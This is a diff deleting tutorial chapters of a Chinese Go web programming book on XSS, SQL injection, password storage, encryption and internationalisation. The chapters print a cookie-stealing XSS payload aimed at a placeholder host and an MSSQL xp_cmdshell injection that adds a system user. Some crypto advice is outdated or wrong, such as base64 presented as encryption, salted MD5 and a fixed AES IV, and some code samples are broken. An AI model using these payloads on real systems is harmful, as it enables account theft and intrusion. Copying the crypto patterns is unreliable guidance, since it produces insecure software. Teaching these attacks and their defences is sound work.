如果我们传递这样的url`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`,这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢与上类似如下这样的url`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`这样就可以把当前的cookie发送到指定的站点www.xxx.com。你也许会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来不明真相的用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点这样子就盗得了用户的cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。
## 如何预防XSS
答案很简单坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
目前防御XSS主要有如下几种方式
- 过滤特殊字符
避免XSS的方法之一主要是将用户所提供的内容进行过滤Go语言提供了HTML的过滤函数
text/template包下面的HTMLEscapeString、JSEscapeString等函数
- 使用HTTP头指定类型
`w.Header().Set("Content-Type","text/javascript")`
这样就可以让浏览器解析javascript代码而不会是html输出。
## 总结
XSS漏洞是相当有危害的在开发Web应用的时候一定要记住过滤数据特别是在输出到客户端之前这是现在行之有效的防止XSS的手段。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.2.md>)
* 下一节: [避免SQL注入](<09.4.md>)

View File

@@ -1,69 +0,0 @@
# 9.4 避免SQL注入
## 什么是SQL注入
SQL注入攻击SQL Injection简称注入攻击是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息或者利用数据库的特性执行添加用户导出文件等一系列恶意操作甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入使攻击者成功的向服务器提交恶意的SQL查询代码程序在接收后错误的将攻击者的输入作为查询语句的一部分执行导致原始的查询逻辑被改变额外的执行了攻击者精心构造的恶意代码。
## SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的从而把SQL查询当作可信任的命令。殊不知SQL查询是可以绕开访问控制从而绕过身份验证和权限检查的。更有甚者有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
考虑以下简单的登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
我们的处理里面的SQL可能是这样的
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
如果用户的输入的用户名如下,密码任意
myuser' or 'foo' = 'foo' --
那么我们的SQL变成了如下所示
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
对于MSSQL还有更加危险的一种SQL注入就是控制系统下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值那么sql将会变成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL服务器会执行这条SQL语句包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话攻击者就可以获得一个系统帐号来访问主机了。
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
## 如何预防SQL注入
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此但没人能保证攻击者一定拿不到这些信息一旦他们拿到了数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库比如论坛程序攻击者就很容易得到相关的代码。如果这些代码设计不良的话风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样就算是正常的查询也有可能造成灾难。
SQL注入攻击的危害这么大那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
1. 严格限制Web应用的数据库的操作权限给此用户提供仅仅能够满足其工作的最低权限从而最大限度的减少注入攻击对数据库的危害。
2. 检查输入的数据是否具有所期望的数据格式严格限制变量的类型例如使用regexp包进行一些匹配处理或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
3. 对进入数据库的特殊字符('"\尖括号&*;等进行转义处理或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
4. 所有的查询语句建议使用数据库提供的参数化查询接口参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具例如sqlmap、SQLninja等。
6. 避免网站打印出SQL错误信息比如类型错误、字段不匹配等把代码里的SQL语句暴露出来以防止攻击者利用这些错误信息进行SQL注入。
## 总结
通过上面的示例我们可以知道SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用应该对于每一个小细节都要非常重视细节决定命运生活如此编写Web应用也是这样。
## links
* [目录](<preface.md>)
* 上一节: [避免XSS攻击](<09.3.md>)
* 下一节: [存储密码](<09.5.md>)

View File

@@ -1,89 +0,0 @@
# 9.5 存储密码
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业Linkedin, 国内诸如CSDN该事件横扫整个国内互联网随后又爆出多玩游戏800万用户资料被泄露另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响人人自危因为人们往往习惯在不同网站使用相同的密码所以一家“暴库”全部遭殃。
那么我们作为一个Web应用开发者在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
## 普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
Go语言对这三种加密算法的实现如下所示
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:
- 1同一个密码进行单向哈希得到的总是唯一确定的摘要。
- 2计算速度快。随着技术进步一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
## 进阶方案
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法我们能想到黑客自然也能想到。特别是对于一些开源代码这样哈希更是相当于直接把算法告诉了黑客。
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是先将用户输入的密码进行一次MD5或其它哈希算法加密将得到的 MD5 值前后加上一些只有管理员自己知道的随机串再进行一次MD5加密。这个随机串中可以包括某些固定的串也可以包括用户名用来保证每个用户加密使用的密钥都不一样
//import "crypto/md5"
//假设用户名abc密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
在两个salt没有泄露的情况下黑客如果拿到的是最后这个加密串就几乎不可能推算出原始的密码是什么了。
## 专家方案
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
这里推荐`scrypt`方案scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
## 总结
看到这里,如果你产生了危机感,那么就行动起来:
- 1如果你是普通用户那么我们建议使用LastPass进行密码存储和生成对不同的网站使用不同的密码
- 2如果你是开发人员 那么我们强烈建议你采用专家方案进行密码存储。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.4.md>)
* 下一节: [加密和解密数据](<09.6.md>)

View File

@@ -1,122 +0,0 @@
# 9.6 加密和解密数据
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。
## base64加解密
如果Web应用足够简单数据的安全性没有那么严格的要求那么可以采用一种比较简单的加解密方法是`base64`这种方式实现起来比较简单Go语言的`base64`包已经很好的支持了这个,请看下面的例子:
package main
import (
"encoding/base64"
"fmt"
)
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println(string(enbyte))
}
## 高级加解密
Go语言的`crypto`里面支持对称加密的高级加解密包有:
- `crypto/aes`包AES(Advanced Encryption Standard)又称Rijndael加密法是美国联邦政府采用的一种区块加密标准。
- `crypto/des`包DES(Data Encryption Standard)是一种对称加密标准是目前使用最广泛的密钥系统特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准但现已被AES所替代。
因为这两种算法使用方法类似所以在此我们仅用aes包为例来讲解它们的使用请看下面的例子
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
//需要去加密的字符串
plaintext := []byte("My name is Astaxie")
//如果传入加密串的话plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
//aes的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
//加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
这三个函数实现了加解密操作,详细的操作请看上面的例子。
## 总结
这小节介绍了几种加解密的算法在开发Web应用的时候可以根据需求采用不同的方式进行加解密一般的应用可以采用base64算法更加高级的话可以采用aes或者des算法。
## links
* [目录](<preface.md>)
* 上一节: [存储密码](<09.5.md>)
* 下一节: [小结](<09.7.md>)

View File

@@ -1,9 +0,0 @@
# 9.7 小结
这一章主要介绍了如CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法它们都是由于应用对用户的输入没有很好的过滤引起的所以除了介绍攻击的方法外我们也介绍了了如何有效的进行数据过滤以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了Go语言提供三种对称加密算法base64、aes和des的实现。
编写这一章的目的是希望读者能够在意识里面加强安全概念在编写Web应用的时候多留心一点以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包我们可以充分的利用这些包来做出一个安全的Web应用。
## links
* [目录](<preface.md>)
* 上一节: [加密和解密数据](<09.6.md>)
* 下一节: [国际化和本地化](<10.0.md>)

View File

@@ -1,25 +0,0 @@
# 10 国际化和本地化
为了适应经济的全球一体化作为开发者我们需要开发出支持多国语言、国际化的Web应用即同样的页面在不同的语言环境下需要显示不同的效果也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样当需要在应用程序中添加对新的语言的支持时无需修改应用程序的代码只需要增加语言包即可实现。
国际化与本地化Internationalization and localization,通常用i18n和L10N表示国际化是将针对某个地区设计的程序进行重构以使它能够在更多地区使用本地化是指在一个面向国际化的程序中增加对新地区的支持。
目前Go语言的标准包没有提供对i18n的支持但有一些比较简单的第三方实现这一章我们将实现一个go-i18n库用来支持Go语言的i18n。
所谓的国际化就是根据特定的locale信息提取与之相应的字符串或其它一些东西比如时间和货币的格式等等。这涉及到三个问题
1、如何确定locale。
2、如何保存与locale相关的字符串或其它信息。
3、如何根据locale提取字符串和其它相应的信息。
在第一小节里我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息第三小节将介绍如何实现国际化站点即如何根据不同locale返回不同合适的内容。通过这三个小节的学习我们将获得一个完整的i18n方案。
## 目录
![](images/navi10.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第九章总结](<09.7.md>)
* 下一节: [设置默认地区](<10.1.md>)

View File

@@ -1,85 +0,0 @@
# 10.1 设置默认地区
## 什么是Locale
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成第一部分是一个强制性的表示语言的缩写例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。
GO语言默认采用"UTF-8"编码集所以我们实现i18n时不考虑第三部分接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名读者可以看到这些地区名的命名规范。对于BSD等系统没有locale命令但是地区信息存储在/usr/share/locale中。
## 设置Locale
有了上面对locale的定义那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale我们可以通过如下几种方式来设置用户的locale。
### 通过域名设置Locale
设置Locale的办法之一是在应用运行的时候采用域名分级的方式例如我们采用www.asta.com当做我们的英文站(默认站)而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系就可以设置好地区。这样处理有几点好处
- 通过URL就可以很明显的识别
- 用户可以通过域名很直观的知道将访问那种语言的站点
- 在Go程序中实现非常的简单方便通过一个map就可以实现
- 有利于搜索引擎抓取能够提高站点的SEO
我们可以通过下面的代码来实现域名的对应locale
if r.Host == "www.asta.com" {
i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
i18n.SetLocale("zh-TW")
}
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示:
prefix := strings.Split(r.Host,".")
if prefix[0] == "en" {
i18n.SetLocale("en")
} else if prefix[0] == "cn" {
i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
i18n.SetLocale("zh-TW")
}
通过域名设置Locale有如上所示的优点但是我们一般开发Web应用的时候不会采用这种方式因为首先域名成本比较高开发一个Locale就需要一个域名而且往往统一名称的域名不一定能申请的到其次我们不愿意为每个站点去本地化一个配置而更多的是采用url后面带参数的方式请看下面的介绍。
### 从域名参数设置Locale
目前最常用的设置Locale的方式是在URL里面带上参数例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区`i18n.SetLocale(params["locale"])`。
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点它采用RESTful的方式以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url让所有的link地址都通过这个函数来生成然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
也许我们希望URL地址看上去更加的RESTful一点例如www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点)这种方式的URL更加有利于SEO而且对于用户也比较友好能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现)
mux.Get("/:locale/books", listbook)
### 从客户端设置地区
在一些特殊的情况下我们需要根据客户端的信息而不是通过URL来设置Locale这些信息可能来自于客户端设置的喜好语言(浏览器中设置)用户的IP地址用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
- Accept-Language
客户端请求的时候在HTTP头信息里面有`Accept-Language`一般的客户端都会设置该信息下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
AL := r.Header.Get("Accept-Language")
if AL == "en" {
i18n.SetLocale("en")
} else if AL == "zh-CN" {
i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
i18n.SetLocale("zh-TW")
}
当然在实际应用中,可能需要更加严格的判断来进行设置地区
- IP地址
另一种根据客户端来设定地区就是用户访问的IP我们根据相应的IP库对应访问的IP到地区目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单我们只需要根据IP数据库查询用户的IP然后返回国家地区根据返回的结果设置对应的地区。
- 用户profile
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale然后我们将用户输入的信息保存到与它帐号相关的profile中当用户再次登陆的时候把这个设置复写到locale设置中这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
## 总结
通过上面的介绍可知设置Locale可以有很多种方式我们应该根据需求的不同来选择不同的设置Locale的方法以让用户能以它最熟悉的方式获得我们提供的服务提高应用的用户友好性。
## links
* [目录](<preface.md>)
* 上一节: [国际化和本地化](<10.0.md>)
* 下一节: [本地化资源](<10.2.md>)

View File

@@ -1,134 +0,0 @@
# 10.2 本地化资源
前面小节我们介绍了如何设置Locale设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢这里面的信息包括文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们将对这些信息一一进行介绍Go语言中我们把这些格式信息存储在JSON中然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json)
## 本地化文本消息
文本信息是编写Web应用中最常用到的也是本地化资源中最多的信息想要以适合本地语言的方式来显示文本信息可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系在输出之前按需从适合的map中去获取相应的文本如下是一个简单的示例
package main
import "fmt"
var locales map[string]map[string]string
func main() {
locales = make(map[string]map[string]string, 2)
en := make(map[string]string, 10)
en["pea"] = "pea"
en["bean"] = "bean"
locales["en"] = en
cn := make(map[string]string, 10)
cn["pea"] = "豌豆"
cn["bean"] = "毛豆"
locales["zh-CN"] = cn
lang := "zh-CN"
fmt.Println(msg(lang, "pea"))
fmt.Println(msg(lang, "bean"))
}
func msg(locale, key string) string {
if v, ok := locales[locale]; ok {
if v2, ok := v[key]; ok {
return v2
}
}
return ""
}
上面示例演示了不同locale的文本翻译实现了中文和英文对于同一个key显示不同语言的实现上面实现了中文的文本消息如果想切换到英文版本只需要把lang设置为en即可。
有些时候仅是key-value替换是不能满足需要的例如"I am 30 years old",中文表达是"我今年30岁了"而此处的30是一个变量该怎么办呢这个时候我们可以结合`fmt.Printf`函数来实现,请看下面的代码:
en["how old"] ="I am %d years old"
cn["how old"] ="我今年%d岁了"
fmt.Printf(msg(lang, "how old"), 30)
上面的示例代码仅用以演示内部的实现方案而实际数据是存储在JSON里面的所以我们可以通过`json.Unmarshal`来为相应的map填充数据。
## 本地化日期和时间
因为时区的关系同一时刻在不同的地区表示是不一样的而且因为Locale的关系时间格式也不尽相同例如中文环境下可能显示`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点:
1. 时区问题
2. 格式问题
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义为了获得对应于当前locale的时间我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量):
en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Shanghai"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))
t:=time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下:
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
fmt.Println(date(msg(lang,"date_format"),t))
func date(fomate string,t time.Time) string{
year, month, day = t.Date()
hour, min, sec = t.Clock()
//解析相应的%Y %m %d %H %M %S然后返回信息
//%Y 替换成2012
//%m 替换成10
//%d 替换成24
}
## 本地化货币值
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码:
en["money"] ="USD %d"
cn["money"] ="¥%d元"
fmt.Println(date(msg(lang,"date_format"),100))
func money_format(fomate string,money int64) string{
return fmt.Sprintf(fomate,money)
}
## 本地化视图和资源
我们可能会根据Locale的不同来展示视图这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢首先我们应按locale来组织文件信息请看下面的文件目录安排
views
|--en //英文模板
|--images //存储图片信息
|--js //存储JS文件
|--css //存储css文件
index.tpl //用户首页
login.tpl //登陆首页
|--zh-CN //中文模板
|--images
|--js
|--css
index.tpl
login.tpl
有了这个目录结构后我们就可以在渲染的地方这样来实现代码:
s1, _ := template.ParseFiles("views"+lang+"index.tpl")
VV.Lang=lang
s1.Execute(os.Stdout, VV)
而对于里面的index.tpl里面的资源设置如下
// js文件
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css文件
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 图片文件
<img src="views/{{.VV.Lang}}/images/btn.png">
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。
## 总结
本小节介绍了如何使用及存储本地资源有时需要通过转换函数来实现有时通过lang来设置但是最终都是通过key-value的方式来存储Locale对应的数据在需要时取出相应于Locale的信息后如果是文本信息就直接输出如果是时间日期或者货币则需要先通过`fmt.Printf`或其他格式化函数来处理而对于不同Locale的视图和资源则是最简单的只要在路径里面增加lang就可以实现了。
## links
* [目录](<preface.md>)
* 上一节: [设置默认地区](<10.1.md>)
* 下一节: [国际化站点](<10.3.md>)

View File

@@ -1,180 +0,0 @@
# 10.3 国际化站点
前面小节介绍了如何处理本地化资源即Locale一个相应的配置文件那么如果处理多个的本地化资源呢而对于一些我们经常用到的例如简单的文本翻译、时间日期、数字等如果处理呢本小节将一一解决这些问题。
## 管理多个本地包
在开发一个应用的时候首先我们要决定是只支持一种语言还是多种语言如果要支持多种语言我们则需要制定一个组织结构以方便将来更多语言的添加。在此我们设计如下Locale有关的文件放置在config/locales下假设你要支持中文和英文那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
#en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n)首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件
Tr:=i18n.NewLocale()
Tr.LoadPath("config/locales")
这个包使用起来很简单,你可以通过下面的方式进行测试:
fmt.Println(Tr.Translate("submit"))
//输出Submit
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//输出“递交”
## 自动加载本地包
上面我们介绍了如何自动加载自定义语言包其实go-i18n库已经预加载了很多默认的格式信息例如时间格式、货币格式用户可以在自定义配置时改写这些默认配置请看下面的处理过程
//加载默认配置文件这些文件都放在go-i18n/locales下面
//文件命名zh.json、en-json、en-US.json等可以不断的扩展支持更多的语言
func (il *IL) loadDefaultTranslations(dirPath string) error {
dir, err := os.Open(dirPath)
if err != nil {
return err
}
defer dir.Close()
names, err := dir.Readdirnames(-1)
if err != nil {
return err
}
for _, name := range names {
fullPath := path.Join(dirPath, name)
fi, err := os.Stat(fullPath)
if err != nil {
return err
}
if fi.IsDir() {
if err := il.loadTranslations(fullPath); err != nil {
return err
}
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
file, err := os.Open(fullPath)
if err != nil {
return err
}
defer file.Close()
if err := il.loadTranslation(file, locale); err != nil {
return err
}
}
}
return nil
}
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息:
//locale=zh的情况下执行如下代码
fmt.Println(Tr.Time(time.Now()))
//输出2009年1月08日 星期四 20:37:58 CST
fmt.Println(Tr.Time(time.Now(),"long"))
//输出2009年1月08日
fmt.Println(Tr.Money(11.11))
//输出:¥11.11
## template mapfunc
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出但是如果我们想在模版层直接使用这些函数该怎么实现呢不知你是否还记得在前面介绍模板的时候说过Go语言的模板支持自定义模板函数下面是我们实现的方便操作的mapfunc
1. 文本信息
文本信息调用`Tr.Translate`来实现相应的信息转换mapFunc的实现如下
func I18nT(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Translate(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"T": I18nT})
模板中使用如下:
{{.V.Submit | T}}
2. 时间日期
时间日期调用`Tr.Time`函数来实现相应的时间转换mapFunc的实现如下
func I18nTimeDate(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Time(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
模板中使用如下:
{{.V.Now | TD}}
3. 货币信息
货币调用`Tr.Money`函数来实现相应的时间转换mapFunc的实现如下
func I18nMoney(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Money(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"M": I18nMoney})
模板中使用如下:
{{.V.Money | M}}
## 总结
通过这小节我们知道了如何实现一个多语言包的Web应用通过自定义语言包我们可以方便的实现多语言而且通过配置文件能够非常方便的扩充多语言默认情况下go-i18n会自定加载一些公共的配置信息例如时间、货币等我们就可以非常方便的使用同时为了支持在模板中使用这些函数也实现了相应的模板函数这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。
## links
* [目录](<preface.md>)
* 上一节: [本地化资源](<10.2.md>)
* 下一节: [小结](<10.4.md>)

View File

